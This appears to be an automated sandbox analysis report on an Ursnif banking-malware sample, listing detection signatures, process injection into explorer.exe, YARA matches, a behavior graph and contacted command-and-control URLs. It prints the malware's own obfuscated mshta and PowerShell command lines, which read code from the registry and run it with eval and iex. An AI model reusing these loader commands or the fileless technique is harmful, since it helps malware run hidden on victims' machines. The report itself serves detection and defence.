Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3968 base: 7FFC86661580 value: 40 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3968 base: 4A2000 value: 00
Source: C:\Windows\System32\control.exe Memory written: PID: 3968 base: 7FFC86661580 value: EB
Source: C:\Windows\System32\control.exe Memory written: PID: 3968 base: 2600000 value: 80
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 2388 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3968 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3968
Source: C:\Windows\explorer.exe Thread register set: target process: 4168
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 86661580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: 86661580
Source: C:\Windows\explorer.exe Thread created: unknown EIP: 86661580
Source: C:\Windows\explorer.exe Thread created: unknown EIP: 86661580
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kxac='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kxac).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE691.tmp" "c:\Users\user\AppData\Local\Temp\CSC7CF5F35C720441118B71E863AB44B87A.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFE5F.tmp" "c:\Users\user\AppData\Local\Temp\CSC72CD5E3A7BFC47C08453C5B847B47E88.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: explorer.exe, 00000025.00000000.432716315.0000000000688000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.410487415.0000000000688000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.446191269.0000000000688000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ProgmanEXE^
Source: explorer.exe, 00000025.00000000.446591267.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.449384808.000000000814C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.437464495.000000000814C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000025.00000000.446591267.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.437583059.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.415779919.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000025.00000000.446591267.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.437583059.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.415779919.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000025.00000000.433090722.000000000069D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.410508381.000000000069D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.415389104.000000000069D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd4
Source: explorer.exe, 00000025.00000000.446591267.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.437583059.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000025.00000000.415779919.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: WProgram Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A13365 cpuid 2_2_04A13365
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F781F1 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 2_2_04F781F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A176BB GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 2_2_04A176BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A16D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 2_2_04A16D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A13365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 2_2_04A13365

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 634419 Sample: lokvQRcUe0 Startdate: 26/05/2022 Architecture: WINDOWS Score: 100 54 Snort IDS alert for network traffic 2->54 56 Found malware configuration 2->56 58 Antivirus detection for URL or domain 2->58 60 3 other signatures 2->60 9 loaddll32.exe 1 2->9         started        11 mshta.exe 19 2->11         started        process3 process4 13 cmd.exe 1 9->13         started        15 WerFault.exe 2 9 9->15         started        17 WerFault.exe 3 9 9->17         started        19 WerFault.exe 3 9 9->19         started        21 powershell.exe 32 11->21         started        signatures5 24 rundll32.exe 1 6 13->24         started        62 Injects code into the Windows Explorer (explorer.exe) 21->62 64 Writes to foreign memory regions 21->64 66 Modifies the context of a thread in another process (thread injection) 21->66 68 2 other signatures 21->68 28 explorer.exe 21->28 injected 30 csc.exe 3 21->30         started        33 csc.exe 3 21->33         started        35 conhost.exe 21->35         started        process6 dnsIp7 52 176.10.119.68, 49752, 80 AS-SOFTPLUSCH Switzerland 24->52 78 System process connects to network (likely due to code injection or exploit) 24->78 80 Writes to foreign memory regions 24->80 82 Allocates memory in foreign processes 24->82 90 2 other signatures 24->90 37 control.exe 24->37         started        84 Changes memory attributes in foreign processes to executable or writable 28->84 86 Self deletion via cmd delete 28->86 88 Modifies the context of a thread in another process (thread injection) 28->88 92 2 other signatures 28->92 40 cmd.exe 28->40         started        48 C:\Users\user\AppData\Local\...\b5khtopv.dll, PE32 30->48 dropped 42 cvtres.exe 1 30->42         started        50 C:\Users\user\AppData\Local\...\kikzslfg.dll, PE32 33->50 dropped 44 cvtres.exe 33->44         started        file8 signatures9 process10 signatures11 70 Changes memory attributes in foreign processes to executable or writable 37->70 72 Injects code into the Windows Explorer (explorer.exe) 37->72 74 Writes to foreign memory regions 37->74 76 4 other signatures 37->76 46 conhost.exe 40->46         started        process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
176.10.119.68
 unknown Switzerland
51395 AS-SOFTPLUSCH true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://176.10.119.68/drew/6MD_2BLHj/Wwe7k6B1I0SM4estiKA8/spcFGasNn3hHiGKNKAO/_2B1ah_2BmpCz0i3Swrw7w/_2FmDlfehB0OE/55WbV2nc/Y1h6ZuuUoh7qBwh_2BKlp0h/7L71gn0m4N/M3O3_2Bd4FYKhYEVp/A8X6IhSGaeKc/I6s_2F23qvp/A182DdgYpCpMIP/aP_2Bjsdht_2BJDxnVcIh/PpumD61sg3b7UjUn/NBCGMFNbIjiYANW/kV_2FL6Gv2Uv63EZQh/O7ekDFjPj/xu59b1S5vDi1BLf/OCWp.jlk true
  • Avira URL Cloud: phishing
 unknown
http://176.10.119.68/drew/8_2BLR3ULj9eEHGwEQ4wR/XNnJzaTlQzupEc1E/13YAC3A_2FwsRXQ/gU_2FKH8C0dGIfymyx/ocdHPIhqa/Hd8nJGo602uQ7riR5fk1/MgjZVgxWOeylhsm3UIe/ODtnBqntkfEzg6CGz22IMX/BqT5RhbEJCnRP/ZVkWQu9C/sR0fuByflYkig33702ZG3_2/FhdyARm9Lc/m4Hi2C6HqRM3XSnPm/LWaA4HaxDqj7/QbfVKFZGMWq/c7MJSNfi8K7i7w/7kd2UCa_2BF/87zDgqk.jlk true
  • Avira URL Cloud: phishing
 unknown
http://176.10.119.68/drew/TXnzVImnT660oDz/yMOCYK8RDAglTpu9ac/GwxTcb_2B/tHjr3EGRXu7rtpqrdyIg/MBYax8JZESMvd_2FR_2/FFgtmhXbR0ktwUdCXR2Pki/d8dU8ADU_2BI_/2BU31aFd/LiJXzwK_2BCmcWBI_2FSoW9/MydpZhmci7/DHFwznBk9lsaelX7d/OI_2F8mRA8r8/Ql7ZjpWXuIe/emON9m2OO9PUY_/2BZvNnjbqlcKSvSy4k903/VSDqqfhLnxG6SlxI/F80QTh1QnWNOnio/sWTgXKrMs/py.jlk true
  • Avira URL Cloud: phishing
 unknown